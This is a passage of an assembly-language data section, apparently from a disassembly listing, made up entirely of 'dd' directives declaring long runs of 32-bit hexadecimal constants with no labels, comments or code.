		dd 0EF96DC40h, 0C5D10070h, 0AC0F3BDh, 8D00C711h, 793B038Fh
		dd 0EDBC1F4h, 971D2659h, 0C6EA02DEh, 48603AFBh,	83045446h
		dd 0B5D7F88Bh, 0C434F0h, 67704F58h, 734C5B6Dh, 5763FD07h
		dd 0BD909B85h, 0EC903427h, 0CFD700BEh, 0DBF117A9h, 8D18A8A4h
		dd 0BC081E2h, 3EDE0096h, 0C3EE7218h, 11902501h,	1B46FD00h
		dd 65A9D10h, 0A71800F8h, 0B937DEE5h, 4D9840EAh,	74920A00h
		dd 9BD7B41Eh, 0F97F00D1h, 0FC6B624Eh, 0EC27596Ah, 0DDD000D9h
		dd 3980DCCh, 0F367511h
		dd 0F7D07DFDh, 478CBA4h, 0D8F38100h, 4217D671h,	0C2DA24FFh
		dd 0D3803978h, 723178DEh, 4A02A0E0h, 0BEEA3EB1h, 14AB8530h
		dd 6DB58400h, 0DB9544h,	0D2DC71E8h, 3B3566EEh, 11058h
		dd 0F5EBFC5Ah, 0FC7717EFh, 0C7F3073Ch, 20191A56h, 30CAA805h
		dd 9490D200h, 49DEE484h, 4FB8C07Fh, 23A76602h, 0A800B490h
		dd 9A88ADDDh, 3F92FA4Ah, 0D400583Fh, 7617F604h,	5500499Bh
		dd 1C844E5Eh, 0CADE7Ah,	0D16A8F67h, 2D7F547Eh, 1490DB7Eh
		dd 4BE1ED00h, 59A0CA66h, 0FFD704FDh, 0D06854F3h, 5B7B8170h
		dd 4BAF4303h, 0B8BB50F7h, 0C3690Fh, 0CD8B1BADh,	7581ACB4h
		dd 6CDBF803h, 0B077405Fh, 4F825E66h, 0ABCC0093h, 0B72B9A95h
		dd 349D2213h, 87E9700Fh, 3A606156h, 7A659815h, 36D51EE7h
		dd 4905789Ah, 807E1B38h, 377DFE1Fh, 4AF878BAh, 3F876312h
		dd 7099A400h, 59E3DFE1h, 9A008C10h, 0EA6EABC3h,	0B7006096h
		dd 0CC38A4C8h, 0E3533Ch, 1EECDC2h, 44296AF9h, 831DD00h
		dd 9162CCFDh, 3CDA0014h, 0A25315EEh, 0D0F6AEFFh, 29B00560h
		dd 3B7492Eh, 41FBBA3Ch,	0F0C236F6h, 7E84D6E0h, 5985B800h
		dd 678B9279h, 3C8DFE7Fh, 4F00094Dh, 942FA16Ah, 0BC00762Ah
		dd 0D22C65EFh, 50A5A4h,	24B7330Ah, 62A7E8C6h, 0D3425C00h
		dd 8A0C44ACh, 1FAFE0C3h, 0C0553381h, 820A7C66h,	0E90EEFB8h
		dd 1B693Ah, 9E5F2C91h, 52280012h, 0DBFECC96h, 3600A50Dh
		dd 99E3401Fh, 489D2EF3h, 9C005407h, 0BF1917B0h,	14002346h
		dd 7C4B56CBh, 0F55F363h, 7E8C6D5Ah, 90201741h, 0A36B6070h
		dd 65FA4C00h, 0F91FA9CAh, 0B7B100D3h, 461DE696h, 0D8901E9Eh
		dd 6EE49713h, 0C632ECC0h, 0BCD00F4Dh, 60E0B4B6h, 0A6E37651h
		dd 4B640B02h, 5072ACB9h, 54A80008h, 0B0D6BB1Dh,	0DD3E1611h
		dd 96F6800Dh, 562214EAh, 0F227007Dh, 6330F52Eh,	1F05A576h
		dd 8168A1Eh, 5775B8C0h,	923A0323h, 0FF2E578h, 0C6BFBEC8h
		dd 5DC4C100h, 9021081Bh, 0FACF63Ch, 142B730h, 40007F49h
		dd 0A3E7B53Dh, 3C009CF8h, 5513B021h, 385B7E56h,	6180028Fh
		dd 0B1084B94h, 1D053D2Ah, 1386BF83h, 0C744A800h, 7E0F1ACh
		dd 0ECCDD8EEh, 4D5617Eh, 0D4D9311Dh, 180016B9h,	284E6A2Dh
		dd 16597F90h, 0E082F27h, 84A047DBh, 9EBD4D6Bh, 4654F775h
		dd 7C105FA8h, 809214C4h, 9740955Ch, 9C04EB04h, 64C03093h
		dd 6024A2h, 4606E6F7h, 37D484Ch, 5D85B500h, 9667016Dh
		dd 9AC900AFh, 0E10E3179h, 1800C7D6h, 0ECE707DFh, 3A324E9h
		dd 8E543A2Dh, 0C988967Fh, 0D80F2A11h, 8037B6B1h, 2CB08AF6h
		dd 1A703FEh, 67196E44h,	86CEA990h, 0C800B877h, 0BEB1DBC5h
		dd 0E1D51B7h, 0F1648E36h, 9B2EA040h, 6CC0AD3Dh,	0F28E073h
		dd 96ED001Ah, 0E6EFD809h, 0C23C25FCh, 2C58FFh, 0C1187CABh
		dd 0B498A4h, 4C2880CCh,	5BF5E8F4h, 58E71E00h, 1592BF9h
		dd 14F80083h, 70053494h, 1138C533h, 39E48044h, 0D5D2E8B9h
		dd 0C4E9003Fh, 0E0F2A251h, 0A09635EAh, 9B8BDE40h, 0B6347AA7h
		dd 60EE0038h, 68626F4Ch, 0F773B0A0h, 0FFADBA1Ch, 1306003Bh
		dd 248A1BFCh, 0D9833AA5h, 0D74DA800h, 0C1B4124Ah, 0DD542800h
		dd 93EB14BDh, 19CD008Ch, 8D81C79Ch, 0B900D9BFh,	0FA6B0A1h
		dd 0F38CBCAh, 0A3D87515h, 0EEC66C00h, 5900648Fh, 57F9FF4Ah
		dd 3FB1FAh, 77720E2Bh, 0F19C0595h, 4EA2673Eh, 2D5FE0h
		dd 780309AEh, 0B216B484h, 272618C0h, 285EFC1h, 949719DFh
		dd 0A960CD24h, 35004D7Ah, 3474FC36h, 74A929D4h,	207CE565h
		dd 1883C100h, 0E0CCAE46h, 0CF5D8800h, 0E81F2E14h, 0F0806FCh
		dd 1C78F39Bh, 0D400E67Ah, 0CAC14AACh, 0CF3246h,	0AE2048A0h
		dd 958B6296h, 780706E4h, 0CD0B608Ch, 8AD3E730h,	716B60DFh
		dd 4B052BCEh, 0B910820Fh, 0B863C0BDh, 0EF5EB2B5h, 3E246ED8h
		dd 4F3A4891h, 0FDCD7505h, 9740D005h, 0BF376B7Dh, 1E4030CEh
		dd 7311B6h, 76D6DBABh, 0F5D8863Ch, 0CD18D100h, 9BB58D0Ah
		dd 45B054h, 6C5317ABh, 13E7DDEFh, 4963FB03h, 0A07F4E75h
		dd 0B16A7Dh, 0E8CB06F5h, 3D429517h, 896FB0C0h, 1BEFB5B6h
		dd 8815B032h, 5AC66DE0h, 20149531h, 36D5B5A6h, 52313180h
		dd 0B5B949Bh, 598A4600h, 276BD097h, 0B1B50675h,	491056A7h
		dd 0C08F7D00h, 0D0A90EFDh, 826B03EBh, 0BDF85BFBh, 173480C4h
		dd 2F073F48h, 0D453369h, 64DB2E70h, 1C1A1DC6h, 99BC0025h
		dd 220B2B4h, 59D5CE1Dh,	11A0FC40h, 6016D1h, 84BDB7C4h
		dd 7604F86Dh, 903E0200h, 6BBC8BA9h, 0CB2400BEh,	0FAB1AA2Dh
		dd 9DF0BFA4h, 0EFA60F00h, 6F6A4A5Fh, 0B38C3F07h, 0C4C90A00h
		dd 0B4C3506Dh, 24E0EB00h, 4357C65Eh, 0D5DE18BDh, 7E80D819h
		dd 0B728AD00h, 97D8C2F6h, 0F68A76AAh, 374E0E46h, 9BA0B6BDh
		dd 35B2E698h, 0AAC8D52h, 0A427E41Fh, 0D98A3881h, 108C47D3h
		dd 0DC193E40h, 2853AA01h, 0F9ED585h, 0C0144BD4h, 5219541h
		dd 9C1F802Dh, 52471689h, 0BB304AA6h, 967C7AC1h,	7D1A0028h
		dd 0E75747A7h, 1B75C4Ch, 0D4894E26h, 56E484F4h,	30C800EEh
		dd 0B77C5E93h, 89F6C782h, 6BA8EA00h, 344F99D4h,	7E10099Bh
		dd 502018DCh, 8B449005h, 2E532500h, 9EA0DB6Ch, 9D1B194Eh
		dd 22477972h, 0CC81F14h, 14C207C0h, 38DEA1h, 3F1BAAE7h
		dd 919977D4h, 5F93731Eh, 0CD6D47C7h, 57CF0AB0h,	59210039h
		dd 94DE74A0h, 0CAFA8437h, 4A69202h, 0A825F186h,	290A34A4h
		dd 4680CCB1h, 7249CB52h, 9DFCFB3Ah, 747A00C2h, 3981DA89h
		dd 0B10C5163h, 300D64DFh, 0B9DE0E96h, 0F3609325h, 97077735h
		dd 0E04B4500h, 85489278h, 2995F2B1h, 0D504CEBDh, 4B32D0h
		dd 0AC47FC87h, 0CB57EC9Eh, 0C3DBF10Fh, 5806474Ah, 6E542DC0h
		dd 0EA18D7D6h, 4BBBF600h, 3075EDC0h, 2051B3E3h,	0A00089C3h
		dd 0BE7F9E42h, 0FDA6B2h, 362B172h, 0C0EDC12Ch, 55E56605h
		dd 5780DA6Bh, 0BC7CDDh,	0C43BB245h, 0F7564283h,	0B4AE3Ch
		dd 61E6469Eh, 3997FC7Ah, 0C5806E37h, 4528F944h,	8F3C2EBEh
		dd 627900B3h, 1AEC32CEh, 50410087h, 40D73613h, 0AB00452Ch
		dd 27189ED4h, 0C18D2B6Eh, 5BC21220h, 5248DCE5h,	320A5F7Fh
		dd 89DED2Ah, 0AD624300h, 0C73DBCh, 2BB57737h, 0E751285h
		dd 95415005h, 2C00C402h, 55EBC5E0h, 1887E9Dh, 15A37FFh
		dd 0C7409466h, 0AF327000h, 2BA922B8h, 0B69D28E7h, 0A8B7183Ch
		dd 0FC83182Ch, 0CDA0B860h, 6822716Bh, 7E04D112h, 6F71D218h
		dd 0DBB410h, 0B59830FAh, 0A45C2B06h, 0E914EE0Fh, 0DFFCC0A7h
		dd 0F7C774h, 0A7F4117h,	8386C27Dh, 61AB6202h, 809279E2h
		dd 4F65B7A7h, 75E10133h, 6A84C888h, 9DDE3031h, 2A8CBE00h
		dd 9179B283h, 1F8103E8h, 1B721E5Bh, 9BA8CFB3h, 0BA00803Bh
		dd 953FA438h, 3023B915h, 2390A5Bh, 575C9A0Bh, 0C84C0026h
		dd 8C55224Eh, 0EB9500EEh, 0AED03496h, 0B10FC132h, 0C0F76FECh
		dd 0FFB5FF2h, 9E7800F1h, 2E02977Dh, 0B00081F5h,	14C33151h
		dd 30574B9Fh, 3B69C676h, 0BAE69D4Fh, 2F6F6600h,	540CDABh
		dd 96A60079h, 0BB60B789h, 67006284h, 830674D9h,	17DF682h
		dd 0C7F3ED8Ch, 0CB65D2A4h, 3EF9FCD8h, 1733A90Bh, 87E78040h
		dd 2D1BD745h, 22DC4144h, 5D5B12h, 0BDAC87FFh, 26F13C64h
		dd 0E6D06501h, 48B000C6h, 0DA9CEF81h, 0C700EE55h, 0DE5472AEh
		dd 606E9A9Eh, 0FBBB87Bh, 9F00A7C4h, 42D64DFCh, 152087E3h
		dd 0FC6B09EFh, 0AC116600h
		dd 4344C650h, 3179A200h, 0E9FAE00Ah, 54BE000Eh,	234A1211h
		dd 530FB76Ah, 2ED175EEh, 5A7920DFh, 0F22E4D7Eh,	0E38E00DAh
		dd 0D03FD492h, 1129D60Ch, 0EE3F41Eh, 4F748980h,	86808047h
		dd 0E884F10Bh, 1D13006Dh, 25F2115Ch, 0A37A8D39h, 2C085B0Fh
		dd 8689C0ADh, 12BEE9Ah,	71117666h, 304BB683h, 5200F23Ch
		dd 7BF4016h, 0A0573EA7h, 3BA0F7A5h, 2503C7F1h, 1CAD48EFh
		dd 1129F800h, 0AF5157A1h, 2FBB00B5h, 42A48632h,	5B00F7CAh
		dd 88A0808Fh, 4D5706h, 0DADE3C24h, 6F31EBE2h, 0FAB69503h
		dd 0E89F12D3h, 0A57B4Fh, 52105361h, 0C17AA29Ch,	0EF45400h
		dd 0B3D33690h, 1787F35h, 8A1B1C03h, 0F37EA23Eh,	6B746000h
		dd 0A1BA07F5h, 28F73DC0h, 338069BDh, 0DD6B13Ch,	0FB00ED89h
		dd 354226A5h, 3A17E679h, 91007DBFh, 0B3E7999Eh,	341366C7h
		dd 23095CB6h, 30EC2012h, 5E5D335h, 0E4FCE3A1h, 59C83C6Dh
		dd 0A9001B7Ah, 6E8EBF2Ch, 0F35396h, 2369C3FBh, 46644E1Eh
		dd 70878100h, 2EC05CAh,	0E04150DEh, 5BCE00D5h, 487885D7h
		dd 47061289h, 91E78069h, 0CB2C0769h, 0E0D2196Bh, 1C0B8468h
		dd 0E40F9F00h, 9DA05532h, 2B510334h, 0F2AE2458h, 1FCCDFC0h
		dd 7F1C30C0h, 4D39085h,	70D9ADC6h, 9958D313h, 16BF1AA0h
		dd 88303A1Dh, 6B6130B0h, 7D6D0397h, 45C29227h, 9D354BA9h
		dd 0A2C0C488h, 0DE9FCF4Eh, 633B0EDCh, 6835669Ah, 0B12B0886h
		dd 80DB293Ch, 699BD391h, 41E9BEh, 6A1058B4h, 329717AAh
		dd 0D8FED400h, 0CC741E71h, 45370011h, 0A523BBBh, 68002F58h
		dd 41AB5117h, 0C84B8Dh,	60284A1Ah, 77D04FCCh, 8884CB00h
		dd 12FF79F2h, 31DA02E5h, 66BFD814h, 74E72C48h, 0AE3E3500h
		dd 0D6076585h, 0B11E00E4h, 5825E4Fh, 7C002C97h,	0C404FD8Ah
		dd 7165AE57h, 21630046h, 0D98280EEh, 8B001C25h,	1E939816h
		dd 0A3470Eh, 83F2ACCFh,	0ED0229A7h, 0B024C82Ah,	0C54FD000h
		dd 563BA363h, 8F593D1Fh, 330D0E80h, 0FF2F596h, 0AA08CC00h
		dd 90B949C8h, 0E78500B3h, 0BAD1ED2Ch, 3A003E26h, 920A5A3h
		dd 9871DBh, 92E938E8h, 5690B8ECh, 67216500h, 7205FCCFh
		dd 862200A5h, 74884D98h, 9D393E71h, 0AC6C003Ah,	768590E7h
		dd 15B20CA1h, 0F57884CCh, 51362301h, 999B84Ah, 15D50CCh
		dd 46C18020h, 2486BD60h, 303C584h, 90D0EEB2h, 401BF884h
		dd 0A0E15F99h, 0A528E661h, 9200F80Dh, 3E961607h, 1FC36697h
		dd 0C0A4F31Fh, 0EDD321CFh, 363DEBD9h, 44AF8088h, 63C8B1B5h
		dd 302400F7h, 9EBB9A7Ah, 3D26DB89h, 58034C0h, 0A93B37A8h
		dd 215C00A3h, 52830F70h, 82E64555h, 51F72000h, 665FB98Fh
		dd 14601FFh, 0AD759506h, 0CF9C6056h, 1338D400h,	0C62D2A94h
		dd 0FEA6009Ah, 5D0FA8E4h, 2201B05Bh, 7F6E3660h,	0BF8A764h
		dd 12910044h, 0A3DF9457h, 0AE1FB99Ch, 0B75450ABh, 0FFC19EC8h
		dd 0BF3E0114h, 2B80C4h,	8A2EA23Ah, 74334412h, 63EED750h
		dd 6679F800h, 0B79BB49Dh, 1B510013h, 9615D8B1h,	4100FF1Dh
		dd 1883553Dh, 0E5128658h, 0F666CCh, 36746FABh, 9B20B531h
		dd 8826B926h, 0E3BCD600h, 0B3F108h, 3F69341Dh, 5B4CF06Dh
		dd 7559AF00h, 0A444F7B6h, 33D00B8h, 26DE2A09h, 8000DF5h
		dd 22562FC0h, 0CB588h, 0B1303C15h, 0F8CED448h, 0DBCB2A00h
		dd 45BD177Ch, 0A880F5Eh, 1D610BECh, 0E0D10FF3h,	941F06E1h
		dd 5BC033E9h, 0C36B1320h, 41C10049h, 0DC9A4FCAh, 51005CADh
		dd 22AEEA40h, 393213Eh,	554AD73Bh, 6103DDBBh, 0B7C0E115h
		dd 6A1EA22Dh, 5BE5C04Ch, 17260069h, 2847615Ch, 30498FACh
		dd 426000E0h, 644B907Ah, 8DC20020h, 0A2C46E7Dh,	0F9004482h
		dd 0CE7A59Ah, 12EB8BBh,	0A333E327h, 744351D0h, 8804C40Ch
		dd 0D5BE9955h, 0A0B6EA83h, 0DEB25E08h, 10961880h, 8E8982E1h
		dd 0E91FE0h, 36F89D09h,	9F15CF60h, 43493B00h, 64C36847h
		dd 0C72400F4h, 6CD88B14h, 38C59604h, 3C4658EBh,	0F861559Dh
		dd 0E9A424F0h, 0B2930064h, 753A0A2Eh, 434A6803h, 29525F9h
		dd 0C0E58B79h, 90A01894h, 0D135859Dh, 796D40C0h, 0A463A30Eh
		dd 74D21D34h, 0E5C880A5h, 5A3CE037h, 6941B700h,	0D32C554Eh
		dd 8E3D00B9h, 5F6D2BB5h, 20C0A1C8h, 0A24D6889h,	1F290147h
		dd 0D47EF9A9h, 0C278D8A0h, 0D7F23700h, 0D6217417h, 3AA3B18h
		dd 0DCE45500h, 0FDD887Eh, 813C26E8h, 37EC9243h,	0C54E7600h
		dd 0E82EE9h, 0AC6FDEB3h, 0AD47DD25h, 2BCA6200h,	0D28C8157h
		dd 0A73200D6h, 669BA865h, 0E200A98Dh, 30C2D1B9h, 2FECADDh
		dd 8917CD9Ch, 0BF40080Fh, 3200DEC6h, 19BC857Eh,	36768E9h
		dd 6B48FD15h, 1EA8C123h, 851C4F41h, 6F471730h, 0D27158DDh
		dd 44F02C39h, 0CB28001Ch, 0B45DE15Ah, 0F700F320h, 41E4E61Dh
		dd 8A08A6h, 0A0505204h,	96634356h, 5F975E07h, 805F8B91h
		dd 0B925E2ACh, 6A4B4BEBh, 16990018h, 98FD1BECh,	1CD730D8h
		dd 367D2B19h, 70A028D4h, 0EC442A2Ah, 0AD59E709h, 342E81E4h
		dd 9983A1Eh, 704759ABh,	1C6AAD07h, 1610F415h, 3DBB1429h
		dd 79E0C187h, 0BEA8169h, 9661EB0Eh, 1D85C1FDh, 30205A35h
		dd 3EF3032h, 0A4C58B89h, 452C5906h, 0A4151B8h, 88741302h
		dd 0E5300028h, 0E0E35E85h, 0EB35A40Dh, 0E708D8h, 85ED2D21h
		dd 3BBA55E4h, 1B44A703h, 13AA2BA9h, 4AE20D70h, 43741E14h
		dd 33E9AD63h, 88A21884h, 0AD005A05h, 0B19E4EAh,	7E0A1602h
		dd 244B33EBh, 0D1E6296Eh, 9D638403h, 5EEC0Dh, 2EE440C8h
		dd 5CE57177h, 55400F73h, 33DC00BCh, 416E241Ch, 18565EF4h
		dd 0B880741Ch, 0A846606Ch, 0C5D02D97h, 0D452801h, 0E60DB9Ah
		dd 46EDEDF1h, 15E18700h, 0AB6C5D01h, 0C344FE1Dh, 2F0833E3h
		dd 5DE08621h, 1AE6897Eh, 7D679200h, 0E55C7270h,	2A853095h
		dd 0E72B69C8h, 370EB1EEh, 23DE46Eh, 0B0751303h,	885E0C4h
		dd 0A6C8E363h, 0C1545F64h, 9B8526h, 0E2F93BB8h,	2D60CD95h
		dd 0E9B73E60h, 2408988Dh, 83001083h, 0E8CA3CD0h, 0D62C84A8h
		dd 4FF85400h, 0C0B832FEh, 0FC0E8955h, 95E07419h, 14A8C83Eh
		dd 0BCE852FEh, 3F008CB0h, 8B4697C9h, 0A06D4F35h, 0B0D4BFBCh
		dd 6E270216h, 885ABAB4h, 0F20014C4h, 8B160169h,	3354D44Eh
		dd 2E080693h, 71D92100h, 1589C201h, 424C9EB7h, 0A48EA291h
		dd 89BD8764h, 6AE2C06Ch, 953B3D00h, 0A2185FFBh,	1F40295Ch
		dd 0AD6C0464h, 221584E5h, 620A164h, 7FAD67h, 3785F9E4h
		dd 2388C6A4h, 0F39991C0h, 0A8EBD1h, 0FEF4335Eh,	2C20BA0Dh
		dd 309E3903h, 9EAF3641h, 0E324A1A8h, 5D081318h,	0C42DAB62h
		dd 1B804025h, 2BCC05Dh,	0DB38EF74h, 88A89682h, 2946749Ch
		dd 6881AB3Fh, 0DF15BA40h, 3869803Dh, 0DEBE1657h, 0D95F3894h
		dd 0D4476880h, 4A9DE362h, 1844C713h, 29055C6Fh,	80E2E07Bh
		dd 0A0FC5877h, 0E8AECE30h, 181FC2B0h, 68405FD6h, 9883C4C6h
		dd 9814D0CCh, 11502828h, 0A2E88BB7h, 0B46466h, 9A27C516h
		dd 0ECC9446Bh, 246C1500h, 0EB8DBB7Ch, 92C124D4h, 8D91208h
		dd 5EC01D5Ch, 4C33DBADh, 4E0446Ch, 7500AD71h, 0C65C66Eh
		dd 0B93D2Ch, 0E289526Fh, 4BCD28FFh, 1FC4F600h, 38A308EBh
		dd 687034Ch, 0AEC9BCABh, 0C6417828h, 23FC2152h,	5D023FE8h
		dd 0FFE5AB6Dh, 6B101B19h, 89015D1Eh, 7DEDB82Fh,	44EE437Eh
		dd 0BF320BECh, 8048248Ch, 4828295h, 58601BD0h, 3323D9ADh
		dd 0B6117Ch, 9CAD737Ah
		dd 4C76F980h, 8834E462h, 39C80359h, 59235A28h, 0AD620E01h
		dd 398C3365h, 0AD65C0FCh, 0A6C94200h, 1877C6A5h, 607D005Ah
		dd 8BD05CBBh, 0FE13DCA4h, 0EC052BAAh, 548C28D9h, 0F9BA4192h
		dd 551BAB7h, 0B55F29BCh, 0DBDEC503h, 0EDBED80Ch, 0C4D403D6h
		dd 0EBE0B480h, 13115002h, 8350473Eh, 0B1D108BCh, 0ECC084E4h
		dd 0B203B71h, 0ED0B980h, 1262B182h, 343BDA1Ch, 0C916E540h
		dd 262E0344h, 422C20D7h, 0E89CA36Dh, 1802E246h,	15AB6F5Dh
		dd 811CE447h, 0F99B5D00h, 0C706B07h, 0B261BF43h, 3F09DB58h
		dd 81C124B7h, 0E18DE3D4h, 0F1C88850h, 0DC9C0B0Fh, 0DC022CA1h
		dd 0C10068A0h, 0C19835BCh, 0B4B81240h, 6B3474BBh, 657DAF3Ah
		dd 8C308540h, 1217B81Eh, 9034DAC6h, 591C8228h, 207F6E04h
		dd 0AC901188h, 1D8019FBh, 83AD756Dh, 1F624567h,	5FCD9398h
		dd 5BDB010Eh, 0D2B2035Eh, 63E10F2Ah, 0A237278h,	0C6C2AFDAh
		dd 1912C064h, 10403BB3h, 6AE5403Ch, 0A711C031h,	77BCF065h
		dd 94182301h, 29A402DCh, 84015078h, 2134D739h, 9D90583Eh
		dd 26401121h, 57467498h, 62333100h, 0AAD76815h,	240A1B16h
		dd 0E202A00Fh, 0FD2DD9Dh, 396F983Fh, 1F1D37EBh,	86542780h
		dd 0B50CC1ACh, 0C43671BAh, 19016002h, 1A31068Bh, 168D210h
		dd 374B7201h, 0D95181Eh, 38506871h, 80A2B9A4h, 0DE0E72AAh
		dd 0CAC90h, 0C35A755Eh,	0FDFE0025h, 3ACB944Fh, 4716A78Eh
		dd 0AC425316h, 824B88C0h, 42051C98h, 6AECC1E4h,	852CDB18h
		dd 90234358h, 0B1404411h, 70045885h, 14F74BC3h,	22F69BB8h
		dd 51839200h, 9528F431h, 6041F259h, 23FC78F7h, 9404F008h
		dd 2DBF85C5h, 33EC9492h, 0AB615D98h, 91FF0521h,	1A007119h
		dd 0B0FD465Dh, 67DEE75h, 0AFB8022Fh, 6917A158h,	0CC93B391h
		dd 8A394C33h, 0B9021D38h, 7D3CF752h, 0A2F19AC0h, 8F87F5Ch
		dd 0F2DA4A5h, 52729F69h, 236C3A80h, 3C2C03B3h, 18D10CFh
		dd 499DAEB0h, 721820C8h, 0F4E83D29h, 82D8B0Bh, 0DC84ECDFh
		dd 76409939h, 58E1D028h, 0D95A8830h, 5C1EAF4Dh,	0A4005729h
		dd 0F66DB1DEh, 6B00956Eh, 0CB3618D5h, 0C35B89FEh, 0F4580131h
		dd 6F98FC83h, 0AF2606E7h, 390070A4h, 0F55BF047h, 7C624C60h
		dd 69766801h, 89586103h, 8223A708h, 0E0C35B7Ch,	1DE337ECh
		dd 833C06DFh, 46098F76h, 0BCE0D05Ch, 35008CAFh,	6C1A2B20h
		dd 0F9E8CC93h, 6D165462h, 0AF604E39h, 790B1368h, 11C89D62h
		dd 610587ACh, 80AE52E4h, 0DF9C8C04h, 81E10D09h,	0ACDC8271h
		dd 46305215h, 16F0264h,	315E8B1Ch, 77DF1027h, 46FA0001h
		dd 0F34FD6BBh, 48099963h, 1D34514Dh, 835711A8h,	8B3DD1h
		dd 9B951CC8h, 1BAEFFAh,	63EC3Ch, 0EBFF09EAh, 0F0803Eh
		dd 0A3A96AE3h, 0C8578A17h, 0AE60E600h, 4439B373h, 82CF3B34h
		dd 0ED921101h, 381F89B0h, 48A09040h, 48CC31F4h,	64C6A966h
		dd 28F7944h, 3DED51AEh,	0C8018FEh, 5EB02E2h, 62822B10h
		dd 4050C50Bh, 32B47411h, 3029F270h, 961747E1h, 0A509E8AFh
		dd 0A4D8A2D3h, 25D054D0h, 57913897h, 81A2EE83h,	4BEFDAC0h
		dd 0DC439901h, 6FDB1609h, 0B7D3B082h, 0B443B99Dh, 0FCC1C824h
		dd 91E017A5h, 0D0078027h, 94429D91h, 1B42180h, 0DDD2063Ah
		dd 0C825E769h, 11301751h, 2D3980ABh, 6E38FCh, 0C08FC5D7h
		dd 0DE51CD60h, 9135D027h, 0AED01328h, 0AEC0AA3h, 868CE2CFh
		dd 51B29469h, 4AC0B825h, 3BA8605Ch, 840E0640h, 31E3C938h
		dd 0C6608850h, 0D48DDC03h, 30D283h, 6B29C069h, 0D90DF6C3h
		dd 0B00FDE4h, 4060DF0Fh, 30DA978Dh, 0AE412C89h,	443DF061h
		dd 0C32E8014h, 9EFF7520h, 78A7F48h, 5B77C7BFh, 0B252F419h
		dd 30ACE218h, 0D079FCFh, 0D552CD3Bh, 0E25811A9h, 0EAE8F0D0h
		dd 0E93226A3h, 0CD8549B4h, 0EF8D0F7h, 353E8B65h, 3444CEB7h
		dd 110015D5h, 0BAC1F810h, 1E93B13h, 5488B505h, 97079C47h
		dd 11637941h, 4CB17CDBh, 0DF18985Fh, 7D7E112Eh,	9FF3A300h
		dd 597AAA89h, 0C0475C93h, 0E4C07858h, 0ADE2B060h, 7CDCC124h
		dd 0E5001464h, 1EC73E61h, 17688F5Ch, 0C8209E69h, 9AA2BAB8h
		dd 0A4F07ED8h, 2F8600F0h, 0D7AE513Bh, 781F4FE2h, 8A040B62h
		dd 0CC88D132h, 5FC21695h, 0E44C018h, 0A105FC9Ch, 0AAB9ECC3h
		dd 0A0E3500Ah, 0C5DF4604h, 36E940A1h, 3F2C50E6h, 0BC807BBBh
		dd 0C7157F59h, 1960EF32h, 0B493B261h, 0C82E604Ch, 29D98F43h
		dd 8B84E0DCh, 40A41ABCh, 20334A5Dh, 0AEFF9660h,	0C49CA42Ah
		dd 0F8F59403h, 0E098DAECh, 4C47D1C4h, 4624D436h, 1A4674D4h
		dd 0EAD69400h, 4305E191h, 707FCD0Fh, 3A0B20B3h,	41468B40h
		dd 386CEED4h, 6285E102h, 19A6C0E3h, 0E9111053h,	4F3D0085h
		dd 0CB441A3Eh, 22CC796h, 81402CC4h, 23F4375h, 6601BBABh
		dd 0C844899Eh, 2B76BA0Eh, 51105A94h, 18B579CCh,	2DC828A0h
		dd 63F912E4h, 0B6C045Fh, 0F7C00040h, 3C32B8F3h,	0FC4D1CD4h
		dd 66210C00h, 6CC489B2h, 0B420BCB1h, 3C2E0F4Fh,	18002C23h
		dd 363CADE3h, 2D955C89h, 41ECA904h, 8DB0C891h, 2B4ABF42h
		dd 1B2388h, 19F2F927h, 0F101EF5Ah, 0E8DB3BB9h, 14A87995h
		dd 30E4982Ch, 2B70871Dh, 0A0B640B1h, 9B54676h, 2EDD6EBh
		dd 0F4311CCh, 89E93D84h, 313CEC70h, 6788A1C4h, 8C7E0490h
		dd 240E0183h, 1DF7FE0Dh, 7BC6EC5Bh, 8837210Ch, 0A92963h
		dd 1AFA2261h, 0FC7C0632h, 8165193Dh, 2068E681h,	4920960Eh
		dd 5D901B5h, 46B6C023h,	0E044EA3Dh, 0B02F8F01h,	235AB3F1h
		dd 3C5BE0ECh, 6A0172A9h, 9DD7B20Ah, 49D1FCB1h, 0DC398624h
		dd 7046B016h, 896E8Bh, 0C53846C1h, 0D36DAC84h, 149CE77Ah
		dd 59E29505h, 528860CEh, 7E2D80CFh, 972162Eh, 94BF3DE6h
		dd 0C465E0C1h, 78F5B5B8h, 0C0698824h, 0E35F85E4h, 0E0ECE858h
		dd 385EC2Ah, 568002EFh,	0FFC814C4h, 8D00B588h, 6CE5170Eh
		dd 0A955B3D1h, 0F31069CCh, 0CE5C0185h, 5A420491h, 20F004D0h
		dd 602F221h, 88F29476h,	285A312Fh, 2423982Fh, 0E90B033Fh
		dd 80CFFEC1h, 0C025D13Dh, 551FB221h, 11C02F83h,	0A5960AADh
		dd 7F770056h, 0EA63DDE0h, 0F501CBFCh, 0B3CD255Dh, 8BCC78DBh
		dd 0E4FD69B4h, 549C0087h, 0A4920141h, 0AC46F5BCh, 3D6B09D0h
		dd 64D8F7D4h, 1A7964B9h, 0C7005C18h, 9228F9DDh,	7E69D282h
		dd 760D019Fh, 0ACA49441h, 107082F6h, 0F2BD87B2h, 4300962Ch
		dd 70F84BC7h, 69025B7Ah, 0C49B6190h, 84CAE0A0h,	66E71E99h
		dd 5A04B8B9h, 0D498BCC1h, 0B5848090h, 30BE11D4h, 747C16F4h
		dd 0D03013CBh, 0A1D02FFCh, 10ACE600h, 5E7DB009h, 48103F1h
		dd 0A4A8D7C5h, 0B301B7DAh, 0E9F4C287h, 147B4F17h, 822498E8h
		dd 52E505A8h, 0C1389B37h, 89EA21C4h, 0C5309160h, 2EF4158h
		dd 3B2D8B7Ch, 0C300E870h, 1C20178Eh, 2C58E24Ch,	67D8EC3Dh
		dd 0C827DBFFh, 0A96DC2AEh, 0E9849109h, 5D0B1918h, 65FDAB68h
		dd 16A8018h, 0D99D495Dh, 2B218803h, 0A880850Eh,	0E43720BFh
		dd 0B9FF17BBh, 81F088BDh, 0B4A8C0Bh, 0BF3880E3h, 9D0B9D3h
		dd 586148E2h, 5E38508Ah, 0E4002446h, 0B0BA9C56h, 98B315DDh
		dd 0CB778400h, 0B3BCFFAh, 218748D8h, 0F66F90A4h, 0B8F6E014h
		dd 1E5B01Dh, 3B8489ADh,	36F17CCFh, 1A897A4Ch, 0B424B4E9h
		dd 134707FAh, 0E78EA018h, 0D62A33F2h, 11A90BB0h, 4A02D5B8h
		dd 77D3D9CEh, 8CE6Ah, 6BF6A471h, 2893821Dh, 8EBBE01h, 8076035Eh
		dd 0E9072464h
		dd 0E2ACC110h, 0DF436005h, 0F01EBDD5h, 288B750Ah, 6C337201h
